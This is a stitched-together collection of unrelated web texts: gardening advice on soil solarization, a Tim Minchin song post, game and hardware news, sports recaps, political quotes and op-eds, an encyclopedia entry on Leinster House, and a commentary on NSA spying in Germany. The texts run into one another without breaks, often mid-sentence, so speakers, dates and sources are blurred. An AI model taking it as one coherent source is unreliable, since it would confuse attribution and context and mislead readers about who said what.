If you like this site and find it useful, you can support it by making a donation, or by contributing in other ways. Omniglot is how I make my living.15. Solarize Soil An effective way to kill or supress many fungi, nematodes, bacteria, weeds, and insects is to moisten and heat the soil. One procedure, known as “solarizing” the soil, consists of placing a transparent plastic tarp on the soil surface. The plastic tarp uses the heat of the sun to raise the soil temperature. Solarizing is most effective when done for four to six weeks during the hottest parts of the year. Because you cannot solarize soil when a crop is growing, consider solarizing separate portions of your garden at different timeseither in late spring before you plant a late crop or in midsummer to late summer in areas of the garden where you harvested an early crop.
To solarize soil in vegetable gardens or planting beds, begin by leveling the soil. Remove weeds, plants, and crop debris, and break up large clods of soil. Then wet the soil, because moisture helps the heat to penetrate the ground and makes pests more sensitive to high temperatures. If you are covering a small area in a garden, wet the soil before putting down the tarp. If you are covering a large area, it may be more practical to wet the soil after putting down the tarp. Insert a hose under one end of the tarp, or use trickle irrigation, in which water seeps out from the sides of specially designed hoses. Place the plastic tarp on the soil, eliminating air pockets. To anchor the tarp, bury the edges with soil. Leave the plastic in place for four to six weeks in full summer sun. If you leave the plastic in place any longer, the tarp may become brittle, may tear, and may be difficult to remove. The tarp should be transparent because black or colored tarps will not heat the soil sufficiently. The ideal thickness for the tarp is 1 mil, although a tarp this thin can sometimes tear easily, especially in high wind. If wind is a problem, use tarps that are 1.5 to 2 mils thick, but avoid 4- to 6-mil tarps.
When solarizing small areas, you may find it easier to cover only the planting beds with strips of plastic, leaving between-row or between-bed furrows uncovered. If you solarize with strips of plastic, it is most effective if the planting beds are 48 to 60 inches wide and oriented north to south.Well this is something you won’t hear on ‘Songs Of Praise’, even this fine Sunday evening.
Remember back in April, when Tim and animator, Fraser Davidson, unleashed The Pope Song video on to YouTube? And you know how it’s had over half a million views since? And you know how lots of you were requesting that it was released as an mp3?
Well, to coincide with His Holiness Pope Benedict XVI’s visit to the UK later this week, Tim has decided to let you have the mp3 as a free download; once the Pope disappears from the UK, this download will too, so get it while it’s hot like (imaginary) hell-fires!
Tim_Minchin_The_Pope_Song
We’d also like to point out, that the wonderful members of Angry (Feet) have been able to download this already for the past couple of days because that’s the kind of benefit you get from joining up!
EDIT: Due to popular demand Tim will leave this song up for you to download even though Benny has now left these shores.So Federation Force wasn’t for nothing…
Yesterday during Nintendo’s twenty-five minute E3 Spotlight, the publisher unveiled a Metroid Prime 4 logo, signaling a new installment in the beloved Metroid franchise. And we lost our minds. With nothing but a logo to go on, there are very few details that tell us what this game is about, other than it being another Prime first person adventure.
However, back in 2016 Nintendo released the 3DS title Metroid Prime: Federation Force, a spinoff of the main series where the player assumes the role of a Galactic Federation Marine. A couple months after it’s E3 2015 announcement, Kesuke Tenabe – the producer of Federation Force, all 3 Prime games, and the eventual Prime 4 – hinted at how Federation Force would fit within the Prime series and how that would influence future games in the series.
In an interview with UsGamer, Tenabe had the following exchange:
USG: You mentioned the story leading up to the future. Is that the “future” as defined in Metroid Prime 3, or are you thinking ahead to future games in the Prime Series? KT: The whole story around Dark Samus and Phazon are complete stories. But for the future, what I have in mind is something involving Sylux and Samus with the Federation Force, so to put a focus on that. While I still don’t have a concrete idea on how many games that could be involving between these two, there’s something relating to Sylux that has made Sylux hate Samus. So in that way, it might be backtracking a bit in the timeline to explain that a little bit, to clarify what is going to happen between the two of them. USG: So in a way, you envision this game as a Prologue to future chapters in the Prime Series? KT: You can say it that way, but obviously, you will be able to learn something about the Prime Universe with this game. I am definitely creating this game with it in mind that players can enjoy it as much as they did previous Prime titles. With that in mind, I would love players to experience this as well.
The bounty hunter Sylux first showed up in Metroid Prime Hunters, and very little is known about the character other than that he has a strong hatred for Metroid series protagonist Samus Aran and the Federation Force.
[Possible Metroid Prime 3 and Federation Force ending spoilers to follow]
The most recent Sylux sightings are in the endings for Metroid Prime 3 and Metroid Prime Federation Force.
In the special ending of Metroid Prime 3, players can see Sylux’s spacecraft covertly following Samus’s ship. Furthermore, in the ending of Federation Force, an individual with armor remarkably similar Sylux’s is seen breaking into a Federation facility. The mysterious character then hacks a stasis tube containing a Metroid Egg, causing it to hatch. The camera then zooms out to show the individual has a shoulder spike resembling that of Sylux.
[End of Spoilers]
As of right now, it seems that Tenabe’s interview responses are confirmed in the increased presence of Sylux. From his comments, it sounds like Metroid Prime 4 will pit Samus against Sylux while also exploring the background between these two bounty hounters and why there is apparently so much hatred on the behalf of Sylux toward Samus. What happened between these two characters and what will happen when tensions finally culminate in a confrontation between them?
Of course, this is all speculation based on occurrences in the Metroid Prime series timeline and Tenabe’s comments. In the meantime, let’s just be happy a Metroid Prime 4 exists. It might also be wise to not trust anybody whose “uncle works for Nintendo.”
What would you like to see from the fourth installment of the Metroid Prime series? Tell us your thoughts in the comments below![There was a video here]
Mille Brown is the Jackson Pollock of acid reflux. She's a performance artist who drinks colored milk, then vomits it, then sells whatever she vomits onto. Brown started vomiting rainbows in 2007, allowing herself to dribble colorful upchuck down the front of her shirts, then selling the shirts; she has since progressed to vomiting onto white canvases, which provide "more longevity" and "room to experiment with pattern and color." The above video depicts a 2010 performance for Nick Knight's ShowSTUDIO.com. The website lists the resulting canvas, "Nexus Vomitus," for sale at £1500, or $2400. [ShowSTUDIO via Buzzfeed]
Update: Intrepid commenter Back in Nom Nom Nom notes artistic synergy with Keith Boadwee, an artist known for (NSFW link) squirting paint out of his anus. Art about art: a brave future of putrid body functions beckons.A new Skyrim update 1.9 has been rolled out this week by Bethesda for PC gamers via Valve’s Steam gaming network, which now removes the highest level cap of characters, which used to stand at 81.
The Skyrim update 1.9 brings with it a Legendary difficulty and the ability to make skills Legendary which adds a new side to the game.
Once the Skyrim update 1.9 is installed the Legendary skill set can then be enabled with skills of 100, this will then reset the skill to 15, return its Perks and allow the skill to begin levelling once again.
The Skyrim update 1.9 is currently in beta development at the moment, so make sure you backup your saved games before installing suggests Bethesda, or be careful not to overwrite your existing saves.
As well as the new Legendary features the new Skyrim update 1.9 also brings with it a wealth of bug fixes, which can be read in full over on the Bethesda Blog post.
Source: Eurogamer : Bethesda
Latest Geeky Gadgets DealsSeagate has added two new products to its range of enterprise level hard drives, the Cheetah 15K.7 and NS.2, with both drives offering up to 600GB of storage and second-generation PowerTrim technology to dramatically optimize power consumption at all levels of activity. They also come in the more conventional 3.5-inch form factor, despite an ongoing industry shift toward 2.5-inch sizes.
The main differences between the two drives are their spindle speeds and seek time. The 15K.7 is claimed to be the fastest 3.5-inch enterprise drive at 15,000rpm, rated at 15,000rpm with a seek time of 3.4ms, while the NS.2 spins at 10,000rpm and has seek time of 3.8ms. Other than that, both drives will be available in capacities of 300GB, 450GB and 600GB and will support data transfer rates of either 6Gbit/s on a SAS-2.0 interface or 4Gbit/s on Fibre Channel.
The Cheetah NS.2 is reportedly available now and the 15K.7 drive is currently undergoing OEM qualifications and will start shipping to channel partners next quarter. However, pricing details are yet to be announced.Android O’s Picture-in-Picture Mode can be Enabled Right Now, Here’s How
Feature image: Picture-in-picture mode on an Android TV
Picture-in-picture mode (PiP) is a feature of some television receivers allowing the device to display one program in an inset window while another program is running. This feature made its way to Android TV devices starting in Android 7.0 Nougat, but Google recently announced that the feature will be making its way to Android phones running Android O. With Android O, developers that update their apps to support PiP mode can now also specify the aspect ratio as well as custom interactions with the window such as toggling play/pause.
Users on devices that are a part of the Android O Developer Preview have been able to try out the revamped notifications and other tweaks, but thus far have been unable to try out picture-in-picture mode on their devices. However, it’s actually possible to enable PiP on any device running Android O right now!
As you can see in the video above, we open up YouTube and navigated to a video. The video is paused, and then we press a navigation key which collapses the YouTube app and displays the video in an inset window on top of all other activities (such as Google Play Music and the Pixel Launcher). The window can be moved around the user interface, too.
We then press the window which restores the YouTube app to the video we opened, and then we start playback. Pressing the button to launch PiP mode now minimizes the YouTube app while the video is still playing! Currently, it appears to be a bit buggy with the YouTube app since the video doesn’t take up the entire window while playing, but we figured that PiP mode for phones is probably mostly useful for listening to audio while doing something else given the relatively small screens of smartphones compared to Android TV devices. Furthermore, this bug will probably be fixed in later versions of Android O or with an update to the YouTube app, but we’ll have to wait and see for that.
How to Enable Picture-in-Picture Mode
Okay, okay, we know what you’re really here for. How do I enable this myself? It’s actually quite simple. You need to send a certain key to trigger picture-in-picture mode on your Android phone. The KeyEvent is called “KEYCODE_WINDOW” and it is used by Android TV device remotes to toggle picture-in-picture mode. Fortunately, it works for phones on Android O as well!
In order to send this key from a tap on a navigation bar button, you need to use the hidden navigation bar tuner in SystemUI Tuner. Add a navigation button and select the button type to be “keycode” and look for keycode #171. Once you’ve done that, your navigation bar will now have a button that, when pressed inside of a supported app, will toggle PiP.
You might be already thinking: doesn’t this mean I have to have this key permanently on my navigation bar to use picture-in-picture mode? Not true! Stay tuned to the XDA Portal, as we’ll next be showing you how to display this key only in certain apps!
Thanks to Eli Irvin for discovering this!Profar to get big league consideration
MLB.com/blogs Blocked Unblock Follow Following Aug 13, 2012
By T.R. Sullivan
The Rangers could promote Double A Frisco infielder Jurickson Profar to the big leagues when they go back to a four-man bench. Club officials said Monday “it’s been discussed” and Profar is one of the candidates who could get the call.
The Rangers are currently going with a three-man bench since Friday when reliever Mark Lowe was activated off the disabled list and infielder Alberto Gonzalez was outrighted to Triple A Round Rock. The Rangers are carrying an extra pitcher through this roadtrip but will probably an infielder when they return home on Monday to face the Orioles.
Right now Michael Young is the Rangers backup middle infielder but they have even worked out Mike Olt at shortstop to be ready in case of emergency. Manager Ron Washington said he wants another middle infielder.
“I’ve got the outfield covered,” Washington said. “I’ve got first base and third base covered. I need second base and shortstop covered. We have Michael but we need more than just Michael.”
Profar is the №1 ranked prospect in the Rangers organization and ranked №4 overall by MLB.Com. He is currently hitting.283 with 13 home runs, 69 runs scored and 60 RBI in 110 games for Frisco. He has a.362 on-base percentage and a.463 slugging percentage.It's not the sort of thing one talks about, but I assume I'm not alone in keeping an unofficial list of Best Names In Sports, Related-To-Each-Other Division in the back of my mind at all times. It doesn't take up much space, and it's handy to have at those moments when it's appropriate to mention something like "actually, Majestic Mapp played at Virginia and his brother Scientific Mapp played at Florida A&M." That moment hasn't ever come, but I've only been alive for like three and a half decades, and it's good to be prepared.
Anyway, it's time to update the list:
Lance Stephenson's dad is Lance Sr. Stephenson's little brother is named Lantz — Jonathan Jones (@jjones9) July 18, 2014
Lantz Stephenson is an extremely good name in its own right, and even more so when paired with the conventional spelling of Lance. It's sort of like if Roy Hibbert had a brother named Roie, but also it is not like that at all because nothing is really like this
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must be held to a high standard, Al Franken is no exception. It's time for him to step down."
Sen. Tom Udall, D-N.M.
"Senator Franken should send a strong message that sexual misconduct is unacceptable in any setting and step down."
Sen. Sheldon Whitehouse, D-R.I.
"Given what we have learned in recent weeks, I expect Senator Franken to step aside."
Sen. Ron Wyden, D-Ore.
"I expect that Senator Franken will announce his resignation tomorrow. It is the right thing to do given this series of serious allegations."
NPR congressional correspondent Susan Davis and NPR producer Brakkton Booker contributed to this report.“In truth, Karl Marx was responsible for framing my perspective of the world we live in, from my childhood to this day. It is not something that I volunteer to talk about in ‘polite society’ much these days because the very mention of the M-word switches audiences off.” Yanis Varoufakis, Greek Finance Minister, Visiting Professor at the University of Texas, Lyndon B. Johnson, School of Public Affairs
MOSCOW — It strikes me that while I’m sitting in Moscow, a place where they are still trying to overcome 70 years of the Marxist/Leninist experiment, I watch with horror as again the world has to deal with the consequences of Karl Marx and his teachings. Marx’s Communist Manifesto led to the destruction of whole societies and to the deaths of more than 100 million people at the hands of Stalin and Mao, not to mention all of the other communist despots over the last century. His teachings have never worked but that doesn’t stop the Left from continuing to teach them and try them. Unfortunately the real world consequences are all too real.
The Syriza government came into power with the promise of removing the austerity needed to bring the recovering Greek economy back into good standing with global institutions, and to keep the country in the Eurozone at the same time. The people could have their cake and eat it too. That was an impossible task and Syriza knew it. However, they lied to the people to gain power. Does that sound familiar? The Greek economy was recovering when Greek Prime Minister Alexis Tsipras and his party were elected. It is no longer.
It is in free fall. The lives of millions will be forever harmed.
Most likely Greece will now be forced to accept aid from Russian President Vladimir Putin, drawing Greece into the Russian Eurasian Economic Union. How does that impact NATO or the EU? This remains to be seen but I think it is safe to say, this will not end well for the Greek people, or for Europe for that matter.
But how does the University of Texas have anything to do with this, you ask? It is an established fact that the faculty of American universities are, by an overwhelming majority, leftist. In 2005, a study was released by George Mason University that stated, in general, 72 percent of American college professors considered themselves liberal. The more elite institutions were 87 percent liberal and 13 percent conservative. And this was in 2005, it seems things may have gotten worse since then, based on circumstantial evidence in the media.
The University of Texas at Austin has a reputation as being a bastion of liberal thought and indoctrination. So I’m sure the faculty was ecstatic when Yanis Varoufakis accepted a visiting professorship in 2013 to teach “economics” to the creme of American youth. The university also crowed about one of their own being selected as the Greek Finance Minister last year, quoting Mr. Varoufakis on the UT News website, “As the next finance minister, I can assure you that I shall not go into the [E]urogroup seeking a solution that is good for the Greek taxpayer and bad for the Irish, Slovak, German, French and Italian taxpayer.”
I wonder if you ask the average Greek who has lost his life savings, and is queuing up to get his 60 euros a day from the ATM as capital controls are implemented, how that’s working out for them.
I would bet money that the remaining Marxist professors at UT are not focusing on the Greek situation with their students. I would bet they are not talking about the historical failures of socialism and Marxist teachings. Most likely, in their minds, I’m sure the Greek problem is President George W. Bush’s fault.
The University of Texas is culpable because in its zeal to promote liberalism and indoctrinate UT students into a life of Marxist thinking, it gave Mr. Varoufakis a platform to continue the Marxist lie. Because UT students will not receive the opposing conservative viewpoint, the dirty deed is even more despicable.
Much of the teaching of these professors is couched in “cultural Marxism.” How many American kids have been released into the workforce without the ability to understand how the real economy works, unprepared to deal with that reality of accountability? How many have been released into American society with a chip on their shoulder, ready to be offended at any supposed “microaggression?”
I have no problem with different points of view being taught in our educational system. That is what is supposed to happen. Kids should be given differing opinions and be able to choose their own way. However, that is not the case today. The corruption of our educational system by the Left will have real consequences. Our sovereign debt is approaching $20 trillion. Do you hear any profs at UT warning about that? I doubt it. Puerto Rico, an American territory for all you baristas out there, just announced there is no way it can pay what it owes its creditors. Default is inevitable.
Think what is happening in Greece can’t happen here? You are wrong. We are well on the way. When the bond market realizes that America doesn’t have the will or ability to service its mountain of debt, the consequences of Leftist teachings will become all too real.
Copyright © 2019 The Washington Times, LLC. Click here for reprint permission.Good morning Jets fans! What a great night, wasn’t it? The Jets stunned the Falcons last night with a 30-28 win, running their record to 3-2, just one game out of first place. Let’s get to the “happy” recap.
We have to talk about how Geno Smith grew up last night. The maturity that showed in this young man was exciting to watch. He was smart with the football, and when he went down for sacks, he protected the football. He had by far his best game of the year so far, going 16-20 for 199 yards and three touchdowns.
Aside from numbers, what Geno Smith did was make plays when they had to be made. In the first half, when the Falcons went down the field to go up 7-3, Geno and the Jets took the ball right back down the field on them, and he threw a 20 yard touchdown pass to Jeff Cumberland to take the lead back. Geno kept his head on straight and got the job done.
And then, how about the drive at the end of the game? The Falcons go up 28-27 with two minutes to go, the crowd is going crazy, and the Jets take over. Does Geno get intimidated? Heck no. He hit three different receivers, even Clyde Gates, scrambled for another few yards, and set the Jets up for the game winning field goal by Nick Folk.
Three gold stars for Geno Smith for his play last night.
The Jets didn’t get a lot of yardage from any one running back, but they did get contributions from all three running backs, which added up to 5.4 yards per carry on the ground. Mike Goodson acquitted himself quite well in his debut three carries for 32 yards. Ivory had some burst on four carries for 27 yards, and Bilal Powell added 12 carries for 38 yards, including the big first down at the end of the game that set up the winning field goal.
By the way, there is a lot of talk about Matty-Ice on the Falcons, what about Nicky-Ice? It sounds like a Mafia name, but it definitely holds true. Nick Folk has not missed a big kick for this team, EVER! For anything I have ever said about this young man, I take it all back. Nick Folk is one heck of a kicker.
It was also a coming out party for Jeff Cumberland, with three catches for 79 yards and the twenty yard TD. Kellen Winslow added a beautiful TD near the sidelines as well. The position might just become a force for this team.In her interview today with ABC News’ Charles Gibson, Republican Vice Presidential nominee Sarah Palin stated in no uncertain terms “we cannot repeat the Cold War”. However, in a follow-up question about a possible hot war with Russia, the Alaska Governor’s answer was an unsettlingly non-committal “perhaps”.
The interview revealed today further aspects of Sarah Palin’s position on foreign policy, first explored in her RNC speech last week. She said she had already spoken to Georgian President Mikheil Saakashvili and had given him assurances of her commitment to Georgia, and believed “we’ve got to keep an eye on Russia”. She said she was in favor of NATO membership for both Georgia and the Ukraine, and when asked if this would require the US to go to war if war broke out between Russia and Georgian again, the governor said “Perhaps so. I mean, that is the agreement when you are a NATO ally”.
On other matters, Palin declared her somwhat muted support for “anticipatory self-defense,” her commitment to preventing a nuclear Iran, and insisted she would not “second guess” Israel if it decided to attack Iran. In a question regarding the use of US ground troops in Pakistan without the permission of the Pakistani government she said “I believe that America has to exercise all options in order to stop the terrorists”.
She also clarified her previous comments that the plan for the Iraq War was God’s plan, saying she was attempting to reference a quote from Abraham Lincoln that said his greatest concern was to be on God’s side. She said that she would never presume to speak for God, or claim to know what His will was.
Last 5 posts by Jason DitzBuilding housing the parliament of Ireland
Leinster House (Irish: Teach Laighean) is the seat of the Oireachtas, the parliament of Ireland.
Leinster House was originally the ducal palace of the Dukes of Leinster. Since 1922, it is a complex of buildings, of which the former ducal palace is the core, which house Oireachtas Éireann, its members and staff. The most recognisable part of the complex, and the "public face" of Leinster House, continues to be the former ducal palace at the core of the complex.
Ducal palace [ edit ]
Leinster House was the former ducal residence in Dublin of the Duke of Leinster, and since 1922 served as the parliament building of the Irish Free State, predecessor of the modern Irish state, before which it functioned as the headquarters of the Royal Dublin Society. The society's famous Dublin Spring Show and Dublin Horse Show were held on its Leinster Lawn, facing Merrion Square. The building is the meeting place of Dáil Éireann and Seanad Éireann, the two houses of the Oireachtas, and as such the term 'Leinster House' has become a metonym for Irish political activities.
From home of a parliamentarian to home of a parliament [ edit ]
Ireland's parliament over the centuries had met in a number of locations, most notably in the Irish Houses of Parliament at College Green, next to Trinity College, Dublin. Its medieval parliament consisted of two Houses, a House of Commons and a House of Lords. Ireland's senior peer, the Earl of Kildare, had a seat in the Lords. Like all the aristocrats of the period, for the duration of the Social Season and parliamentary sessions, he and his family resided in state in a Dublin residence. (For the rest of the year, they used a number of country residences, notably Frescati House in Blackrock.)
Leinster House in 1911
From the late eighteenth century Leinster House (then called Kildare House) was the Earl's official Dublin residence. When it was first built in 1745–48 by James FitzGerald, Earl of Kildare, it was located on the unfashionable and isolated south side of the city, far from the main locations of aristocratic residences, namely Rutland Square (now Parnell Square) and Mountjoy Square. The Earl predicted that others would follow; in succeeding decades Merrion Square and Fitzwilliam Square became the primary location of residences of the aristocracy, with many of their northside residences being sold (many subsequently deteriorating and ending up as slums). The building itself was designed by acclaimed architect Richard Cassels.[1]
Victorian era extension
In the history of aristocratic residences in Dublin, no other mansion matched Kildare House for its sheer size or status. When the Earl was made the first Duke of Leinster in 1766, the family's Dublin residence was renamed Leinster House.[2] Its first and second floors were used as the floor model for the White House by Irish architect James Hoban,[3] while the house itself was used as a model for the original stone-cut White House exterior.[4]
One famous member of the family who occasionally resided in Leinster House was Lord Edward FitzGerald, who became involved with Irish nationalism during the 1798 Rebellion, which cost him his life. With the passage of the Act of Union in 1800, Ireland ceased to have its own parliament. Without a House of Lords to attend, increasing numbers of aristocrats stopped coming to Dublin, selling off their Dublin residences, in many cases to buy residences in London, where the new united parliament met.[5]
RDS headquarters 1815–1922 [ edit ]
The 3rd Duke of Leinster sold Leinster House in 1815 to the Royal Dublin Society. In 1853 the Great Industrial Exhibition was hosted in its grounds.[6] At the end of the nineteenth century, two new wings were added, to house the National Library of Ireland and the National Museum of Ireland. The Natural History Museum was built on the site. Part of this scheme intended to re-clad the house in more attractive Portland stone and extend the portico outwards (as opposed to being attached). This was not undertaken.
Oireachtas from 1922 [ edit ]
Dáil Chamber, 2008
The Anglo-Irish Treaty of 1921 provided for the creation of a self-governing Irish dominion, to be called the Irish Free State. As plans were made to bring the new state into being, the Provisional Government under W. T. Cosgrave sought a temporary venue for the meetings of the new Chamber of Deputies Dáil Éireann and Senate Seanad Éireann. Plans were made to turn Royal Hospital Kilmainham, an eighteenth-century former soldiers' home in extensive parklands, into a full-time Parliament House. However, as it was still under the control of the British Army, who had yet to withdraw from it, and the new Governor-General of the Irish Free State was due to deliver the Speech from the Throne opening parliament within weeks, it was decided to hire the main RDS Lecture Theatre attached to Leinster House for use in December 1922 as a temporary Dáil chamber.[citation needed]
Former monument to Michael Collins and Arthur Griffith on Leinster Lawn, shown in 1923, removed in 1939.
In 1924, due to financial constraints, plans to turn the Royal Hospital into a parliament house were abandoned; Leinster House instead was bought[2], pending the provision of a proper parliament house at some stage in the future. A new Senate or Seanad chamber was created in the Duke's old ballroom, while wings from the neighbouring Royal College of Science were taken over as used as Government Buildings. The entire Royal College of Science, which by then had been merged with University College Dublin, was subsequently taken over in 1990 and turned into state of the art Government Buildings. Both the National Library and National Museum wings next to Leinster House remain used by as a library and museum and are not attached to the parliamentary complex. While plans were often made to provide a brand-new parliament house (sites considered included the Phoenix Park and the Custom House), the Oireachtas has remained permanently located in Leinster House.
Since then, a number of extensions have been added, most recently in 2000, to provide adequate office space for 166 TDs, 60 senators, members of the press and other staff. Among the world leaders who have visited Leinster House to address joint sessions of the Oireachtas are U.S. presidents John F. Kennedy, Ronald Reagan and Bill Clinton, British Prime Minister Tony Blair, Australian prime ministers Bob Hawke, Paul Keating, John Howard and French President François Mitterrand[citation needed].
The statue of Prince Albert
Cenotaph to leaders of Irish independence
A number of monuments stand, or have stood, around Leinster House. Its Kildare Street frontage used to be dominated by Queen Victoria, a large seated bronze statue by John Hughes, first unveiled by King Edward VII in 1908. Considering it inappropriate to have the British Queen overlooking the Irish parliament it was relocated to the Royal Hospital Kilmainham in 1948, as part of moves by the Irish state towards declaring a Republic. [7] It was re-erected in 1987 in front of the Queen Victoria Building in Sydney, Australia. Facing the garden front on its Merrion Square side, stands a large triangular monument commemorating three founding figures of Irish independence, President of Dáil Éireann Arthur Griffith, who died in 1922, Michael Collins and Kevin O'Higgins, the Chairman of the Provisional Government and the Vice-President of the Executive Council (deputy prime minister), both of whom were assassinated, in 1922 and 1927 respectively. Another statue commemorates the Prince Consort, Prince Albert, husband of Queen Victoria, who held his major Irish Exhibition on Leinster Lawn in the 1850s.
Extensions [ edit ]
The main building has undergone regular extensions from Victorian times, through to a major extension to create offices for TDs in the 1960s, to most recently the building of Leinster House 2000, a new block of offices built to the north of the original ducal palace.
The main extensions are:
the Victorian additions to the complex which contain the Dáil Chamber
a 1930s addition which houses Labour Party TDs and Senators
the so-called Block 66 a five-storey office block which was built circa 1966 and which houses Fine Gael TDs and senators, with two restaurants and two bars at ground-floor level and which houses the office suite of the leader of the largest party in the Oireactas (currently Fine Gael) and the party's meeting rooms.
a five-storey office block which was built circa 1966 and which houses Fine Gael TDs and senators, with two restaurants and two bars at ground-floor level and which houses the office suite of the leader of the largest party in the Oireactas (currently Fine Gael) and the party's meeting rooms. Leinster House 2000, a new millennium wing erected in 2000 and which houses members of all parties, committee rooms and contains the office suites of the leaders of Labour and Fianna Fáil
, a new millennium wing erected in 2000 and which houses members of all parties, committee rooms and contains the office suites of the leaders of Labour and Fianna Fáil some modern offices across Kildare Street in Kildare House
the top floors of Agriculture House, the Department of Agriculture building which on those floors house offices for independent TDs and independent senators
, the Department of Agriculture building which on those floors house offices for independent TDs and independent senators offices on Molesworth Street which are used also by some members of the Oireachtas, most notably the office provided for former taoisigh.
Leinster House 2000 complex complex
To facilitate the building of Leinster House 2000, and so the temporary closure of the parking spaces at the Kildare Street side of Leinster House which was needed for access to the new wing's site by builders, Leinster Lawn on the Merrion Square side of the building was partially turned into a temporary car park.
Though the Kildare Street side car park was restored for use quickly, a considerable increase in staff numbers and media numbers working in the Leinster House required that the temporary car park on Leinster Lawn remain in use. Plans to replace parking at both sides of Leinster House with an underground car park fell through. Despite this the lawn on the Leinster House side has been reinstated, though not to the same specifications as the original which has led to some anger from conservationists.
Safety in the building [ edit ]
A commissioned report delivered to the Ceann Comhairle's office (chairman's office) in 2008 cast serious doubts on the safety of the main former ducal palace without major remedial work. Warning that the building presented a risk to the safety and health of occupants and the public, the report outlined nine serious risks to the building, due to a combination of factors, including:
the age of the building
renovations over the centuries to the ducal palace made by its various owners which were substandard
significant overloading of floors on upper levels
inadequate and outdated wiring
If repairs were not carried out it outlined as a worst-case scenario "The facility is damaged/contaminated beyond habitable use. Most items/assets are lost, destroyed or damaged beyond repair/restoration."[8]
The Irish government opted not to close the former ducal palace for immediate renovation (partly due to cost and partly due to the difficulty the Oireachtas would have in functioning, given that the former ducal palace is a central point through which members and staff have to travel to access other parts of the complex). Instead an ongoing process of renovation was commenced, with the upper floor of the former ducal palace cleared of journalists (it had been the base for many) due to the floor's overloading. The journalists previously based on that floor were moved to parliamentary offices outside the complex on Molesworth Street.
Buildings modeled after Leinster House [ edit ]
References [ edit ]
Further reading [ edit ]
David J. Griffin and Caroline Pegum, Leinster House 1744 – 2000 An Architectural History. The Irish Architectural Archive in association with The Office of Public Works (2000)
Coordinates:Canada will face CONCACAF opponent Bermuda in an away Men's International Friendly match on 22 January 2017 in Hamilton, Bermuda. The Sunday afternoon match at the Bermuda National Sports Centre will kick off at 15.00 local and be broadcast live on canadasoccer.com.
The international match will help kick off Canada's 2017 season, which will include the biennial CONCACAF Gold Cup in July. To help prepare for the match, Canada will group for close to two weeks in USA and Bermuda starting 12 January.
"The international match will come at the back end of our extended January camp," said Michael Findlay, Canada Soccer's Men's National Team Interim Head Coach. "We wanted to arrange a game that was close in vicinity and also gave us a good step from which to the start of the season."
The January camp will kick off with a larger pool of players, mostly featuring North American-based players that are just entering their pre-seasons. The list of players will be announced in the first week of January.
"We want to give our players a leg up in their preparation for the new season, but also give us the opportunity to assess and evaluate a larger group of players," said Findlay. "There will also be an internal competition within the group as only 18 players will be selected for the travel to Bermuda."
This will mark the ninth meeting between the two nations dating back to FIFA World Cup Qualifiers in 1968. Canada is unbeaten in that stretch with four wins and four draws, including a 3:0 win in their last meeting 10 years ago on 25 March 2007.
Over the past two years, Canada's overall record is nine wins, seven draws and eight losses in 24 international matches against all opponents.Conservative MP Pierre Poilievre has apparently taken the memo from his boss not to “commit sociology” or think too hard about what causes terrorism.
“The root causes of terrorism is terrorists,” Poilevre said bluntly on CBC’s Power & Politics Thursday.
Poilievre, part of a panel debating the politics of terror in Canada, slammed rookie Liberal leader Justin Trudeau’s comments in the wake of the Boston bombings.
Trudeau told CBC’s Peter Mansbridge that he would seek to look at the “root causes” of terrorism in the wake of an attack.
“There is no question that this happened because there is someone who feels completely excluded,” Trudeau said. “Completely at war with innocents. At war with a society. And our approach has to be, where do those tensions come from?"
The Liberal leader’s response was mocked by Conservatives who believe it is further evidence he is, as the attack ads suggest, “in over his head.”
On Thursday, Prime Minister Stephen Harper addressed the foiled terror plot to attack a Via Rail train and the connected arrests of Chiheb Esseghaier and Raed Jaser.
Harper said he wouldn't want to convey any view to the Canadian public other than “utter condemnation” of violence.
“This is not a time to commit sociology, if I can use an expression,” Harper said.
CBC host Evan Solomon asked Poilievre to elaborate on Harper’s position and seemed taken aback by Poilievre’s jibe.
“Really? That’s it?” Solomon asked. “The root cause of terrorism is terrorists? That’s it? You have no other cause?”
“That’s right,” Poilievre said. “The root cause of terrorism is terrorists.”
The Tory MP’s bumper-sticker response was quickly mocked on Twitter. You can see some of best the reactions in the gallery below.This article originally appeared at OpEdNews
Shortly after Spiegel Online published German Intelligence Under Fire for NSA Cooperation (Apr 24), I added what I thought would be the first comment on the article. I returned to the next day to see how the comment had fared. To my surprise, the caption "Be the first to comment on this article" remained in place. My comment was rejected (and remains so). Just maybe, I thought, the comment title, also the headline of this article, and my questions about German sovereignty were deemed unacceptable for Spiegel's reading public.
Front page Spiegel Online International 4/24
The April 24 Spiegel Online article added yet another chapter to the privacy violations by the United States National Security Agency (NSA). Along with its German equivalent, the BND, NSA engaged in electronic spying on the German government, German politicians, and commercial concerns in Germany and other European countries. This violated an agreement for shared electronic monitoring, which stipulated that there would be no spying on German or U.S. targets.
Even worse, according to leaks by Edward Snowden cited in the article, the German BND knew about the joint spying operations since 2008 but failed to inform the German government and parliament, the Bundenstag.
The article noted that there were crimes associated with the cover up of these activities:
"The spying scandal shows that the intelligence agencies have a life of their own and are uncontrollable," says the senior Left Party representative Martina Renner. "There have to be personnel consequences and German public prosecutors must investigate."
But as of late Thursday, the German government hadn't even informed the public prosecutor's office of the incident. SpiegelOnline, Apr 24
The lack of any legal action against BND officials for lying to the Bundenstag, tapping Chancellor Angela Merkel's cell phone, and spying on business in Germany and other European nations caused me to ask the following questions in the content section of my censored comment.
Does a sovereign nation allow a foreign nation to spy on its government?
Does a sovereign nation allow a foreign nation to spy on its businesses and those of neighboring countries?
Does a sovereign nation allow a foreign nation to commit the above acts without responding in some clear cut fashion and without punishing the sovereign nation's intelligence officials that abet this type of spying?
Is Germany a sovereign nation?
Occupied Nation?
There are reasons to see Germany as an occupied nation with some autonomous rights rather than a sovereign state.
Germany houses major U.S. military installations critical to war making activities.
There are 54,000 U.S. troops stationed at over 20 bases in Germany. These bases serve as a staging and management area for U.S. military operations in the Middle East including drone attacks. Der Spiegel Online reported the importance of U.S. German bases for drone warfare:
"The graphics show that Ramstein is involved in virtually every Air Force drone attack. Even if the pilots are sitting at Air Force bases in Nevada, Arizona or Missouri, and even if the targets are located on the Horn of Africa or the Arab Peninsula, USAFE headquarters at Ramstein is almost always involved." Spiegel Online, Apr 22
Before drones, the U.S. military used its German bases for critical logistical and military support for the 2003 invasion of Iraq. This was in "open contravention of the German constitution."
Germany follows U.S. foreign policy initiatives even when they are manifestly not in the interest of German citizens.
